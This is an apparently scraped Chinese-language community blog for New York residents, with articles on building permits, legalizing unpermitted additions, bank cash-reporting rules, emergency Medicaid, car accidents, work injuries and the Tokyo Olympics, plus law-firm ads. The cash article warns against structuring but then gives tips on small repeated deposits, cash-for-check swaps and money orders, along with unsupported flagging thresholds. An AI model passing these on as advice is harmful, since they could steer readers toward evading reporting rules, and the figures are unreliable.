首先要请专业的结构师来画图,要把图纸送交到相关的部门来审批。要确定送到哪里。有城市(city)和郡县(county )有两种部门。比如说如果您住在Diamond bar(美国城市),那您需要送到Diamond bar city审批。 如果您住到县城,因为不是城市 (city),所以它是属于当地县政府来管辖。

把这份图纸送到city 或者是county 的什么部门呢?是planning department,也就是计划策划这个部门。把图纸送交之后,大概一到三个月的审批时间结束之后,会把图纸送回来。

如果图纸没有任何问题,就可以直接去申请许可证了。如果图纸需要调整和修改。要把图纸拿回来,再请结构工程师来改图。顺利的时候可能一次就通过了。如果不顺利可能要改好多次那才会通过。

所以要对这个环节做出心理准备。那最终当图纸改完后通过了。图纸就会转送到city 或者county 的建设与安全部门。 在这个部门主要就是来获取许可证。什么样的人可以获取许可证呢?有两种人,第一种就是拥有房产者。如果您是业主建设者(Owner Builder),也就是说自己来重建或者改建自己的房屋,是有权利去申请建筑施工许可证;另外一种就是也就是建筑承包商,可以去作为屋主的聘请的专业承包商去申请建筑施工许可证。

除了建筑施工许可证之外。 还有其他的施工许可证,包括电力施工许可证、水路系统施工许可还有空调管路系统施工许可证。这些专业的许可证,业主自己是没有办法去申请的。 因为业主一般不具备专业的施工的素质。

这些专业的施工许可证是由总承包商来申请。或者是由这方面专业的人士去申请,比如说电工去申请电工许可证;水管工去申请水管工许可证;那做空调的管道工人去申请相应的许可证。申请许可证的时候,不管是电工、水管工,还是建筑承包商都要提供自己相应的执照。 在City( 城市)或者County(郡县)会在电脑上查询这些执照是否是有效的。

然后会把这个permit 注册给您。那最终有了许可证就可以开始施工。在这里想要强调的是,如果您作为owner builder(自建屋主),也就是自建屋主,您申请了许可证。那么在这种情况下您加建好的房屋,在一年之内不可以出售的。这是需要注意的问题。

在申请许可证的时候,需要交相关的费用。 首先第一点就是要交申请费。第二个就是检查费,也就是说检查人员来检查。我们要为他的劳动付出薪水。那第三种就是许可证费。另外如果您的房子周围有学校,根据你加建的面积的大小。 有可能你还要交一个学校教育的赞助费,以及城市规划管理的费用。这些费用要把它提前在city 做一个了解,以便对于建筑成本做一个核算。

是如何把自家的违章建筑合法化

无论是政府已下达违章建筑通知书,还是未被政府发现的违章建筑都应严肃对待,不要被动等待处理都要按照主动响应的方式来对待。要根据政府的指令,看一看我们自己的违章的具体情况。然后向政府递交申请。

也有些人接到了政府的违章的整改通知令非常害怕。接到整改通知后无需过于紧张,政府通常不会采取极端措施。做加建的情况下,违建的拆除或整改可拖延更久。这个是可以变通处理的。

响应政府的指令有这么几种形式

1.向政府说明情况请求延长处理时间,一般会给延期几个月时间的。

2.反客为主,跟政府讲,把违建拆除或者合法化。然后再做点加建。政府也乐见其成。即把违建处理掉,同时还主动愿意在做增值,让物业价值更高。将来低交的税更多。

好处是什么呢?

好处是既然再增建了,那违建的拆除或者整改就可以拖延的更久。为什么呢?因为要做加建扩建申请的,常规情况下可以长达六个月。才能够批下来,在批的过程中,还可以再改或者是调整。不像原来单纯的时候做违章建筑的合法化,可能给的时间很短。

关于违建的处理方法

首先需在图纸上明确指出违建的部分和处理方法。

第一种方法:这个最简单,是把违建完全拆掉,恢复原貌。

第二种方法:做扩建、增建,比如在后院,再加建(ADU )附属机制单位,但是需要把意图清晰的表达出来。让政府的审批官员能够看到,依据现行的法规对违建合法化的措施,进行一下综合评估,综合判断。如果一切都OK就能够达到目的了。

在违建合法化的过程中,政府到现场勘察的过程也是不可避免的

因为和普通的加建改建,或者普通的做(ADU )是不一样的,政府人员会让相关的职能部门一定要到现场去看。

为了违建合法化进行的更顺利,建议这样做

在政府勘察之前,将明显不合规的部分拆除或暴露出来,将存在争议的部分打开,将一些家具物品等搬除,这样更清晰明了。政府如果说哪些部分拆除,哪些部分可以保留,就已经最大限度的保留了之前的劳动成果。

政府的官员到现场来看后应如何对待

政府的官员到现场来看后,他就会提供一个书面的意见,他口头的表达你不用担心,你也不用太当真,他要想要给你出具一个书面的意见的,在美国必须要照章办事,然后就静等他的整改意见的正式文本。

有时会让你到政府去拿,有的会电邮给你。政府的指令来了以后,是有时效期的,就是整改意见下来了以后,限在多少天之内响应。在合理的期限之内,可以深思熟虑或多方打听,跟相关的业内人士充分的沟通,拿出最优的解决方法。

如果觉得政府的条件太苛刻了,可向政府抗辩参加公听会,同时可以争取更多时间。也可以合法的走流程,到政府去申请公听会,只要意见是有可行性的,公听会多数情况下都会充分体谅你的处境。有可能会拿到让你比较满意的结果。你的意见也可能被否决,但是你只花了一两千块钱的公听金的费用,也替你争取了长达好几个月甚至一年以上的缓冲时间。

下一步就是签订整改合同。让承包商进场后分期分批的付款,然后验收,最后皆大欢喜。承包商顺利的完成的任务,政府批复了竣工报告后会给你一个单子。你来填一些必要的信息提供给政府,政府就会根据要求审核完会给你通知。经过政府的批复,房子终于合法化了,下一步就可以去申请入住许可证了。你拿到许可证以后,县里面市里面的这个监管部门,就会把你这些信息报告到县里,县里在入档,就是网络化,把你的信息加入到这个数据库里面去。过一段时间经过他们内部的审核通过。

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2021-08-04 / by / in , , , , ,
在美国怎样存取现金?不小心会面临国税局洗钱调查!

美国是世界上最早制定反洗钱规则的国家之一。早在1970年,美国国会就通过了《银行保密法(BSA)》。

该法规定,在美国所有的银行,单日存入 10,000 美元或更多的现金,银行必须向金融刑事执法网(FinCEN)提交货币交易报告 (Currency Transaction Report,CTR) 。

要求存款人提供的个人信息包括:姓名、实际居住地址、出生日期、职业、纳税人识别号 (TIN) 、现金来源和政府签发的带照片的身份证明。

美国的这项联邦法律,是为了打击国内和国际洗钱、恐怖主义融资和其他金融犯罪。

税务是防止洗钱的基础,偷税漏税的收入是非法的收入,有意掩盖资金来源和所有权属于洗钱。

洗钱是联邦重罪,由美国多个政府部门参加处理,如司法部,联邦调查局,国税局和纽约州金融服务局等。

纽约/法拉盛/报税/917-791-5010/公司报税/个人报税/餐馆报税

刻意规避申报风险高

同时,这项法律也规定了,为了刻意规避申报的要求,而将大量的现金拆分为不足10,000美元的较小数量,而多次存入银行是犯罪行为。这被称为“结构化拆分现金交易罪”(structuring)。

 

很多美国华人为了规避申报,喜欢偷偷的把手上大量的现金,分批存入银行。其实,这样很容易被国税局盯上。

早期曾有报道,持美国绿卡的华人李景硕,在伊州南部中心村(Ceterville)开设按摩院,因多次到银行存款,都在万元以下,引起国税局注意并展开调查。

调查后发现,李景硕的收入虽来自经营按摩院,但他有意逃避联邦1万元以上存款必须申报的反洗钱规定,将现金分成多笔存款存入银行。

该案在2016年3月4日开庭,李景硕被裁定触犯“有计划金融交易”罪名成立。

还有一个类似的案例。中国的知名导演英达,也是因为这个事情惹上了很大的麻烦。

在2011年4月到2012年3月之间,英达将总额46.44万美元的现金分为50次,每次存款额度低于1万元,先后存入他和妻子在美国四家银行开的六张银行卡账户中,随后英达被美国国税局以涉嫌洗钱罪告上法庭。

根据美国联邦法典的第5324节规定,任何人不得通过“结构化拆分(structuring)”的方式,逃避法律规定的金融记录报告;任何人如果涉及使用特定模式违法并在12个月之内涉及10万美元非法活动,则面临罪行总收益的双倍或最高10年刑期,或两者皆有。

美国联邦国税局便是依据上述法条,指控英达涉嫌“故意瞒报金融交易(intended to evade the currency transaction reporting requirement)”和涉嫌“拆分现金交易(structuring)”罪。

英达对“刻意规避申报要求”、“进行现金拆分”等国税局的指控认罪。

华人在海外存钱怎样规避风险

在美国的合法收入要如实申报

比如开餐馆每天所得超过1万,在存钱时不要故意存少于1万元,而是如实的将所有钱都存进去。

合法收入积极申报,以后该存款用于购买房屋、土地等其它商品时才不会出现问题。

从中国带过来的现金直接存入银行

如果是华人从国内带到美国的大笔现金, 在过海关时必须申报, 不申报被发现后,所有的现金会被海关没收。

既然已经在海关申报过了,就表示美国政府知道你带来了多少现金,这时如果你再分开存款被抓住的可能性更大,所以要一次性存入银行。

这样存取钱要避免

●一周取钱超过3次,每次金额超过1000美金,这样的情况下你的账户就很容易被国税局盯上。

●如果每月存现金超4次时,银行系统就会自动标记,成为被关注人群。当你长年多次存款金额累计过大时,国税局就会来查。

●一年内存入现金超过10万,每次存入不超过1万美金有可能触犯刑法,看存款人这样的行为是不是为了规避申报。如果存款人的目的就是为了规避申报,存款人会触犯法律。

其实如果你的钱是合法收入,不要规避申报,大额资金的出入在北美并不会受到限制。相反,本来是正当收入,也并无瞒报和逃税故意,不恰当的做法,反倒可能被美国税务机关,甚至警方和情报机构的反洗钱、反逃税机构盯上,惹来麻烦。

怎样安置手上的现金 才不会有问题呢?

1) 每次存款低于2000美金,每月小额存款不超过4次。

2) 如果你有多于10000美金的合法现金要存,不妨直接跟银行说清楚,诚实报备之后存入。

3) 跟熟人进行置换,把现金给朋友,他开支票给你,支票的存取是不会引来麻烦的。

4) 到邮局去购买现金支票Money Order,分为国内现金支票和国际现金支票两种,不存在有效期,丢失还可以补办。国内(美国)现金支票最大面额为1000美金,每张收取1.6-2美元的费用;而国际支票最大面额为700美金,每张收取4.75美金的费用,你可以把国际支票寄给全世界任何人,当地银行现金兑现。

5) 尽量避免车上携带大量现金,被警察查到时很难向警察证明现金的来源及用途是正当的。

纽约/法拉盛/报税/917-791-5010/公司报税/个人报税/餐馆报税

 

2021-08-03 / by / in , , ,
申请纽约紧急医疗白卡 Emergency Medicaid | 资格要求 申请方法 纽约居民 临时居民 无证移民都可以申请的急诊白卡

在纽约生活的华人,有不少是无证移民。由于没有身份,也没有申请医疗保险,生了病担心医疗费用昂贵不敢去医院看病。其实,如果在紧急情况下,病情严重需要看急诊,可以申请“紧急白卡”(Emergency Medicaid)。

纽约州紧急白卡Medicaid,也称为急诊Medicaid,这是纽约州一项急诊医疗保险,可以帮助纽约州公民、无证非公民(undocumented non-citizen)和临时非移民(temporary non-immigrants)(比如留学生、访问学者等)在发生紧急医疗状况时,可以申请的医疗保险。

那么申请紧急白卡Medicaid资格要求是什么呢?

申请紧急医疗白卡资格要求

只要符合申请Medicaid白卡的资格要求,如果仅因为移民身份不符合要求,就可以申请紧急白卡Medicaid。

根据纽约市人力资源管理局规定的申请紧急白卡的条件:

首先,要满足收入要求,紧急白卡仅适用于低收入人士;

其次,可以是纽约州居民,临时居民,或者无证移民;

最后,无论您是否有支付能力,只要您有紧急医疗状况,所有医院都必须为您治疗。

白卡的收入限制如下:

 

怎样申请紧急白卡

无证非公民申请时需要提供以下文件:

  • 身份证件;
  • 收入证明;
  • 居住证明 (State residency)。

其实,您不必等到需要急诊时再申请,紧急医疗白卡是可以预先申请的。您在任何时候都可以先注册,然后获得审批,以防将来的不时之需。只要预先登记审批通过后,就可以报销之前3个月和之后12个月内,共15个月的急诊医疗费用。

年龄65岁以下的人士,可以到纽约州健保网站上线上登记、申请。纽约州健保网站的网址是:nystateofhealth.gov.  您也可以电话申请:1-855-355-5777。

假如是年龄超过65岁以上的长者,或者是残障人士,会需要填写不同的表格。如果需要电话帮助的话,请拨打这个电话:347-396-4705。

假如平时身体一向健康,没有想到要去申请紧急白卡,在看急诊期间或者之后的时间内申请也是可以的。不过,必须在急诊治疗后的三个月之内完成注册,才可以报销医疗费用。

 

哪些情况属于急诊白卡范围

(图片:nyc.gov)

紧急医疗白卡只能报销当您因为严重健康问题需要立即看医生的时候的医疗护理费用。严重健康问题是指如果未得到医疗救助则可能导致危害健康的病症,比如心脏病发作或剧烈疼痛等病症。急诊 Medicaid 还覆盖紧急分娩相关的费用,以及急疹治疗所需的药物。但不包括与器官移植手术相关的护理和服务,以及一些慢性病所需要的医院护理或家庭护理。

医生会判断哪些情况属于紧急医疗范围。

只要您符合紧急医疗Medicaid申请资格,随时都可以事先申请。如果是临时非移民居民,只要符合低收入要求,也可以有资格参加全额 Medicaid 或基本计划(Essential Plan)。这两项计划覆盖非急诊护理。

非公民或非绿卡身份的19岁以下儿童则可以申请纽约儿童健康计划(Child Health Plus),孕妇可以申请Medicaid白卡。孕妇和儿童申请相关的医疗保险,不会受身份影响。

在纽约的华人,即使没有身份,如果真的是遇上紧急和严重的情况,千万别拖延病情,早日就医。根据纽约市人力资源管理局规定,无论移民身份如何,紧急状况需要就医时,不论病患能否负担医疗费,医院都必须提供医疗服务。

 

声明:本文非法律文件,仅作为一般性参考内容,勿以此为依据提出法律诉讼或任何证明,我们不负担任何形式的责任。您在有需要时请向专业的税务法律顾问咨询。

2021-08-03 / by / in ,
最高5万美元税收抵免 纽约州强力推动餐馆复工

在疫情期间,纽约的餐馆、酒吧等这些店家都受到了严重的冲击。7月29日,州长库默宣布启动“餐馆返工税收抵免计划”(Restaurant Return-To-Work Tax Credit Program),帮助餐馆复工。餐馆每增聘一名员工,就可获得5,000美元的税收抵免,每家餐馆最多可获5万元的税收抵免。

目前纽约的经济正在慢慢重启,餐馆和不少企业都重新开业。州长库默表示:“纽约的餐厅不仅是世界上最好的餐厅,也对纽约州的经济至关重要。” “在疫情大流行期间,餐饮业是受创最严重的行业之一,因为公共卫生和安全问题限制了餐馆许多服务和营运。随着纽约州解除了防疫限制⋯⋯业者急需招聘工人,以满足他们日益增长的营运需求。”

“餐馆返工税收抵免计划”(Restaurant Return-To-Work Tax Credit Program),就是为了帮助疫情期间,被列为橙色或红色疫区连续30天以上的小型独立餐馆。

要符合税收抵免资格,餐馆必须证明因为疫情导致餐馆的总收入或全职员工至少减少了4成。符合资格的餐馆每增聘一名员工,就可获得5,000美元的税收抵免,每家餐馆最多可获5万元的税收抵免。

库默表示,该项目共计投入3,500万美元。

此外纽约州还推出“快速通道”选项,餐馆不用等到明年报税才获得税收抵免,业者可以根据今年4月1日至8月31日增聘全职员工人数先申请退税。

在疫情期间,纽约的餐饮业是受影响最严重的行业之一。纽约州主计长的一份报告指出,纽约市餐馆的就业人数从2020年2月的31.5万人,下降到今年4月份的9.1万人。尽管后来情况有所改善,但纽约市许多餐厅仍在苦苦挣扎。

“餐馆返工税收抵免计划”申请官网:https://tinyurl.com/udxhpv47

 

 

2021-07-31 / by / in , , ,
在美国纽约发生车祸该咋办?☎️917-428-5152 在美国要买哪些汽车保险? | 美国车祸理赔 | Car Insurance

在美国每天都会发生各种大大小小的车祸。根据NHTSA统计,美国每年汽车车祸意外申诉大约有33,000件,有上百万人在交通事故中受伤。

威廉律师事务所四十余年的专业经验,精办纽约车祸受伤快速索赔,免费咨询,不成功不收费。24小时中文专线 917-428-5152

在美国纽约发生车祸该咋办?

如果不幸遇到了交通事故,首先要停车,并检查自己是否有受伤,在安全的情况下把车挪到路边。

注意,如果不停车将作为轻罪受到惩罚。不要把事情变成肇事逃逸,让事情变得更糟。

如果是轻微的碰撞或者是小的车祸,和对方交换个人的信息以及保险公司的信息,车辆的牌照和事故的现场一定要拍照留存,就可以离开这个事故现场。

如果事故比较大,或者你感到受伤非常严重。这个时候你一定要拨打911,让警察尽快赶到事故现场来进行调查。

在面对警察询问的时候,一定要简单如实的回答。不要提供与问题无关的信息。

造成人身伤害或超过1000 $财产损失的事故都必须在10天之内报告给DMV 。

发生车祸之后,有三点要注意

千万不要承认过错,不要说“I am sorry”因为很多时候,你以为是你的过错,但实际上是对方的过错。如果你在现场承认了,那么这会对你将来的索赔造成困难。

第二、就是一定要及时的去接受治疗,千万不要担心医疗费用过高,而没有尽快的去接受治疗,这样子也会对将来的索赔造成不利的影响。

第三、在事故发生之后,你可以马上咨询当地的专精人身伤害索赔的律师。

很多人以为律师费会非常高,其实很多人身伤害的律师会提供免费咨询,律师费往往也是在索赔成功以后才需要付的。

相关文章:在纽约遭遇车祸 对方肇事逃逸该咋办?纽约车祸律师建议这样做 

关于车险和车祸后处理的注意事项

三种不同情况的车祸处理方式,以及保险会如何赔付?

一、两车相撞自己的错

情况一,自己受伤了。这种情况下,一般走自己的医疗保险,有很少一部分人购买的车险里还会有一项(Medical Payments)可以用来负担自己,和车祸发生时,车上乘客受伤,所需的医疗费用,自己的医疗保险(Medical Insurance)会在Medical Payments 用完或者到达支付上限后开始生效。

一般很少有人会选择在车险里购买Medical Payments 。但如果你本身没有医疗保险(Medical Insurance)或者医疗保险自付的部分(Deductible)很高的话,可以考虑购买它。

情况二、自己的车坏了需要修理。

Collision 就是因为自己的过错撞车后给自己修车的保险。如果你没有购买collision Coverage,就得全部自掏腰包修车。

当然并不是不论修车费用多少,都有保险赔付。购买时也是要选择自掏腰包的额度的(Deductible)。出现问题时,需要自掏腰包的钱越少,平时交的保费就越高。

一般大家都会选择让保费低点,这就是为什么很多人更愿意自己修理小刮蹭,因为修车的费用可能还没有超出自掏腰包的额度。Collision 保险不会被激活。而且一旦用到了保险,之后几年保费premium 都会增加。

情况三,把别人撞伤了。这里就要提到Body Injury Liability。它会负责赔付对方去医院治疗所产生的所有相关的账单。

还包括所谓的精神损失费(Pain of Suffering)和误工费(Loss of Income)。保险公司对此是有最高赔付金额上限的。

情况四,把别人车撞坏了。车险里的Property Liability 负责的就是帮对方修车。也包括赔付车祸过程中损坏的对方车里的贵重物品。

二、两车相撞,对方的错

情况一,对方有保险,如果对方有这两个保险。bodily Injury liability和property Liability。你就等着对方的保险公司联系你,为你支付全部医疗费和修车费就好了。

情况二。对方只有一个保险或者没有保险。

如果对方只有一个或者完全没有保险,那在这里就必须要说到”对方无保险或保险额过低保护保险”,这个保险是需要我们自己购买的。

如果倒霉,遇到肇事还没保险的人,我们自己的保险公司就会赔付了。

需要注意的是,如果自己车险里已经包括了Collection Coverage , 就不用再购买这个险,因为Collision Coverage 在这种情况下已经会赔付你了。唯一的区别在于自掏腰包的钱少(Deductible),所以也有人会只买uninsured motorial Body Injury Insurance.
出问题可以不用动用自己的医疗保险,还可以申请额外补偿。

三、 其它碰撞的情况

情况一、遇上天灾,车被窃,撞上动物

综合意外险(Comprehensive Coverage )这个车险就包括车被偷以及其他一些非车祸造成的车的损坏。例如火灾、飓风、被倒下的天线杆砸中,撞上动物等等,修车的所有费用就会由保险公司负担了。

需要特别注意的是,遇到突然过马路的动物的时候,记得要让速不让路。意思就是要减速,尽量避免高速情况下的相撞,同时不要突然变道或者打方向盘,以免造成高速路上和其他正常行驶车辆的碰撞,或者自己车高速行驶时失控翻车等严重车祸的发生。

情况二、自己大意撞到了公共设施或是别人的房子。

得自己修车,还得赔人家。这时候财产损害责任保险Property Liability 就会赔付。

本文的内容为公益性质的信息分享,不能被理解为是在提供法律专业意见。若需要法律意见或其他专业帮助,请咨询金牌资讯经验丰富的律师。

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在纽约遭遇车祸、建筑工地受伤、医疗事故、跌倒滑伤、受到警察不公对待受伤害,都应该获得人身伤害赔偿。

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2021-07-30 / by / in , , , , , ,
【金牌报道】东京奥运金牌榜 奖牌总数排行榜 (8月1日)| 美国奖牌总数排名第一 美国游泳项目已获11枚金牌

东京奥运赛事更新(8月1日)

东京当地时间8月1日 20:00pm,美国共获得金牌20枚,总奖牌数为56枚,位列总奖牌数排名第一。

美国的20枚金牌中有11枚来自游泳项目。

8月1日,美国队以3分26秒78的成绩,获得奥运会游泳男子4×100米混合泳接力比赛金牌,并打破世界记录。这是德雷塞尔(Caeleb Dressel)一天之内获得的第二块金牌,此次奥运会获得的第五块金牌。

就在之前的男子50米自由泳比赛中,德雷塞尔以21秒07的刷新奥运会纪录的成绩获得金牌。德雷塞尔于26日赢得的男子100米自由泳赛金牌、男子4乘100米自由泳接力赛金牌以及29日赢得的男子100米蝶泳金牌。傲人的成绩令这位美国小伙一下子成为明星,被冠以“下一个菲尔普斯”, “后菲尔普斯时代最佳男子游泳运动员”等称号。

男子1500米自由泳决赛中,美国选手罗伯特·芬克(Bobby Finke),在男子800米自由泳获得金牌后,再次收获个人本届赛事第2枚金牌。夺冠成绩为:14分39秒65。

美国队24岁的女游泳选手凯蒂.莱德基(Katie Ledecky)7月31日(周六),在日本2020东京奥运会上轻松夺得800米自由泳金牌,并打破奥运会记录。目前,莱德基已在本届东京奥运会获得四枚奖牌。

7月31日(周六)在东京奥运会上进行的800米自由泳决赛中,凯蒂.莱德基以8分12秒57的成绩摘得金牌,并打破了此前由匈牙利选手克里斯蒂娜.埃格塞吉(Krisztina Egerszegi)保持了四分之一个世纪的奥运记录。

莱德基7月29日还刚刚获得女子1500米自由泳金牌。成绩为15分37.34秒的,她自己曾在2018年游出15分20.48秒世界纪录,目前是该记录保持者。

雷德基15岁时参加2012年伦敦奥运,便获得800米自由泳金牌。在接下来的2016年里约奥运上,雷德基曾经一举拿下200米、400米以及800米自由泳金牌。她在三届奥运会中获得7枚金牌,成为获得奥运金牌最多的女游泳选手,堪称世界游泳界的传奇人物。

下面,我们来盘点一下美国队获得的游泳金牌项目:

1、Chase Kalisz        男子 400 米个人混合泳;

2、Caeleb Dressel, Blake Pieroni, Bowen Becker, Zach Apple               男子 4×100 米自由泳接力;

3、Lydia Jacoby       女子100米蛙泳;

4、Katie Ledecky     女子1500m 自由泳;

5、Bobby Finke        男子 800m 自由泳;

6、Caeleb Dressel   男子100m 自由泳;

7、Katie Ledecky     Women’s 800m 自由泳;

8、Caeleb Dressel   男子100m butterfly;

9、Caeleb Dressel   男子50m 自由泳;

10、Bobby Finke        男子 800m 自由泳;

11、Ryan Murphy, Michael Andrew, Caeleb Dressel, Zach Apple           男子 4×100 混合泳接力。

 

2020东京奥运会金牌排行榜(8月1日)

 

 

——————————————–

东京奥运会7月23 日开幕至今,美国、日本和中国三个国家在金牌和奖牌榜上可谓竞争激烈。

截至东京当地时间7月30日21:30pm:

  • 中国目前获得18枚金牌,9银和11铜,排名金牌数第一;总奖牌数38,排名第二。

中国乒乓球队的陈梦和孙颖莎,获得女子乒乓球单人金牌和银牌;

中国队在女子4×200米自由泳接力及女子200米蝶泳中获得了第一。

在羽毛球混双比赛中,王懿律和黄东萍组合夺得金牌。

  • 美国以14枚金牌,16银和11铜,获得总奖牌数41枚,总奖牌数排名依然保持第一。

美国队在男子100米自由泳和女子个人体操全能比赛获得金牌。

  • 东道主日本以17枚金牌,4银7铜的成绩,今日金牌数排名第二

柔道女子78公斤以上级决赛,日本选手素根辉获得金牌。自此,日本获得了本届比赛第9块柔道金牌,创下了奥运历史的最好成绩。

2020东京奥运会金牌排行榜(7月30日)

 

2021-07-28 / by / in ,
在纽约建筑工地受伤如何索赔 917-428-5152|纽约工伤索赔/纽约工伤律师/纽约工伤保险/纽约劳工法

每年有为数众多的建筑工人在工作中受伤,其中大部分是可以避免的。美国所有与工人相关的死亡事故中有 20% 以上发生在建筑行业。为了减少纽约市建筑事故的数量,纽约州有劳工法专门保护建筑工人并使业主对事故负责。

纽约威廉律师事务所有四十余年的专业经验,专注纽约意外伤害快速索赔。精办纽约建筑工地受伤、纽约车祸受伤、滑倒跌伤、医疗误诊误医、美容失败等各类意外伤害索赔案件。24小时中文专线 917-428-5152

一些常见的建筑事故类型

首先要知道建筑工地的事故是如何发生的,这样才能了解风险并知道在发生严重事故时该怎么办。

  • 起重机事故。起重机和起重机是重要的施工工具。然而,缺乏培训、操作失误和其他因素可能导致建筑工地发生严重事故。
  • 从高处坠落。从高处坠落是最常见的建筑事故之一,造成近 35% 的建筑工伤。包括脚手架事故、梯子事故、屋顶事故和其他高处坠落事故等 都可能导致悲惨的施工事故。
  • 滑倒。滑倒在地上会导致骨折、扭伤和其他伤害。
  • 燃气泄漏、火灾和爆炸。气体泄漏、火灾和爆炸可能是突然的和致命的。例如,一氧化碳在狭窄的建筑空间中可能是危险的。
  • 叉车事故。如果没有适当的培训和细心的操作员,叉车可能很危险并导致严重的施工事故。
  • 沟渠事故。沟渠坍塌或沟渠内的事故可能是毁灭性的。一名建筑工人可能会被困而无法自行脱身。
  • 电梯井道事故。如果安全预防措施不到位,建筑工人可能有从电梯井坠落的风险。
  • 触电。电气设备、架空电线、布线和闪电都会给建筑工人带来触电危险。
  • 机械事故。重型机器是完成建筑工作所必需的,但当它们出现故障或操作员疏忽时,它们也会给建筑工人带来真正的风险。
  • 建筑工地机动车事故。机动车辆在建筑工地上很常见,工人在建筑工地工作时有被机动车辆或机器撞伤的风险。

在纽约建筑事故发生后采取的简单步骤

  • 因任何原因在纽约市建筑工地受伤后,首先要第一时间报警。在发生人身伤害事件时警察或者医护人员是不会询问你的移民身份问题;
  • 及时叫急救车去医院,一定要用真实的名字;
  • 尽量收集现场证据,比如拍下现场照片,留下证人的相关信息;
  • 在伤势稳定的情况下及时告知老板或者公司人力资源部门;向你的主管或雇主报告时,你应该坚持事实。报告事故发生的地点和时间,但不要推测事故发生的原因。
  • 及时咨询律师确保工伤赔偿以及意外伤害赔偿。律师可以确保您的雇主和您雇主的保险公司公平对待您,也可以消除生活中的压力并保护您的权利。

在美国,律师和客户之间有保密协议,也就是说你说的任何事情律师都必须保密,所以在律师面前没有必要掩饰,完全可以实话实说。

在纽约建筑事故案件中的第三方索赔程序如何运作?

如果你在建筑事故中受伤,通常会去起诉雇主要求工伤赔偿。而在人身伤害案件中,非您雇主的第三方仍需承担损害赔偿责任。潜在的责任方包括:

◇业主

◇承包商

◇分包商

◇工程师

◇建筑师

◇有缺陷产品的制造商,例如工具、设备或机械

可以追究这些当事方表现出疏忽的责任。这必须要有经验丰富的律师的协助。

工伤律师怎样收费?

一般来说纽约工伤律师是不赢不收费的,工伤管理局部分的案件律师的费用是工伤局批准;意外伤害部分律师是提成制,所以受伤的工人不用担心律师费用的问题。

纽约工伤赔偿怎么计算?

在纽约,工人赔偿法规定,在工作中受伤的建筑工人,不论其移民身份如何,包括无证建筑工人,都有权获得现金赔偿。一个公式(2/3 x 平均周工资 x 伤残率)用于计算每周支付给完全或部分伤残且连续七天以上不能工作的工人的最高赔偿。比如每周收入是900元,那么工伤赔偿误工费是每周600元左右。

其它的一些常见的问题:

  • 谁负责工伤赔偿?

伤者通过律师向雇主索要赔偿,雇主主要是通过工伤保险赔偿。

  • 没有移民身份,受伤可以报工伤吗?

可以上报工伤保险。纽约工伤法律规定,无论受害者的移民身份是什么,绿卡、公民、排期、政治庇护、A5、A10,或者完全没有身份,都可以获得工伤赔偿以及意外伤害赔偿。

  • 给老板打工,都是拿现金,没有报税,这样上班受伤可以上报工伤保险吗?

可以上报工伤保险。纽约的工伤保险制度规定,无论员工工资支付形式是支票还是现金,无论员工报税与否,员工在工作的时候受伤都可以获得工伤保险赔偿。

  • 我有工伤保险,但是同时我也有其他的医疗保险,可以用其他的医疗保险吗?

在工作中受伤产生的医疗费一定要用工伤保险来支付。就算受害者本人有其他的保险比如俗称的红卡白卡,也一定要用工伤保险。

因为其他医疗保险一般赔不了多少,只有工伤保险可以赔的金额远远大过一般医疗保险的金额。工伤保险不但包含你的受伤手术,药物医疗费,也包括你的经济损失与其他的误工费。

  • 我是老板,我一定要买工伤保险吗?没有买有什么后果? 我的员工在工作的时候受伤了要怎么做?

如果你是老板,那么一定要购买工伤保险,一方面保护工人,一方面保护自己。其实所谓的《工伤保险法》是用来保护雇主的;因为有工伤保险,员工不可以起诉雇主。法律这样规定是为了简化员工索赔的程序,同样雇主也不用担心员工因工作受伤去告公司。

如果员工受伤了,老板要第一时间提交给工伤保险公司,这样可以确保老板自己不承担责任。

雇主没有任何理由不买工伤保险。第一,工伤保险法律强制要有的;第二,工伤保险本身购买起来很便宜。如果老板不赔偿,举报后工伤委员会会调查雇主,如果没有买工伤保险会对雇主进行罚款。

  • 提出虚假索赔的处罚是什么?

为了获取赔偿故意歪曲案件情况的属于严重犯罪。

本文章的内容不能被理解为是在提供法律专业意见。若需要法律意见或其他专业帮助,请咨询有相关资质的专业人士。

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在纽约遭遇车祸、建筑工地受伤、医疗事故、跌倒滑伤、受到警察不公对待受伤害,都应该获得人身伤害赔偿。

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凯撒刘瑛律师楼 201-564-0807/纽约律师/美国知名律师事务所

 

纽约意外伤害律师谈:五招让您索赔胜数大赔得多 (718-751-5002, 646-801-8829)

萊特律師樓 (646-886-6258) :紐約醫療誤診及重大意外傷害律師 Jonathan C. Reiter Law Firm PLLC

 

2021-07-27 / by / in , , ,
【金牌报道】 东京奥运金牌排行榜 金牌看点 | 东奥会金牌/奖牌预测 奖牌设计 奖牌排行

2020年东京奥运会,受Covid疫情影响延期一年后,终于在当地时间2021年7月23日晚上8点,于东京新国立竞技场成功开幕。奥运会最令人期待的首枚金牌已经诞生。受人瞩目的金牌排行榜,专家有什么样的预测呢?本次赛事的金牌有什么看点?酝酿了5年之久的东奥会金牌设计有何亮点呢?

金牌预测

本届奥运会虽然备战时间长达五年,但是很多国际赛事由于受Covid疫情影响而取消。运动员的比赛准备情况都受到影响,太多不确定性使得金牌榜的预测变得扑簌迷离。

著名数据公司Gracenote曾经在奥运开幕倒计前3天,也就是7月20日发布了本届奥运会的最新虚拟排行榜:

(图片:gracenote.com)

在虚拟排行榜上:

  • 美国将以40枚金牌、共96枚奖牌排名榜首;
  • 俄罗斯将以21枚金牌、共68枚奖牌排名第二;
  • 中国以33枚金牌、共66枚奖牌位居第三;
  • 东道主日本将得到14枚金牌、共60枚奖牌,排名第四。

该预测基于参考2016年各国的金牌数以及奖牌总数。不过他们也在网上声明由于疫情影响,使得此次的预测比正常情况有了更多不确定性。各国最后到底能得多少枚奖牌,Gracenote的预测的金牌数准确度怎样?让我们拭目以待吧。

 

金牌看点

本届奥运会共设33个大项,339个小项。来自207个国家,超过11,300名运动员将于7月23日至8月8日,历时17天内角逐339枚金牌。

为了吸引更多年轻受众,本届奥运会新增滑板、冲浪、空手道、竞技攀岩、棒垒球5个项目的赛事。

金牌数量排在前5位的项目分别是田径、游泳、摔跤、柔道和射击,产生的金牌数将分别为:

  • 田径:48枚金牌;
  • 游泳:35枚金牌;
  • 摔跤:21枚金牌;
  • 柔道:15枚金牌;
  • 射击:15枚金牌;

 

这些项目的金牌数,约占所有金牌数的40%。而且,游泳和田径项目的运动员在世界各地均有大量的粉丝。以上这些项目的金牌将花落谁家呢?虽然受疫情影响,很多体育爱好者和粉丝无法亲历比赛现场,不过通过电视追踪自己喜欢的赛事,让人同样期待……

 

实时金牌/奖牌排行榜

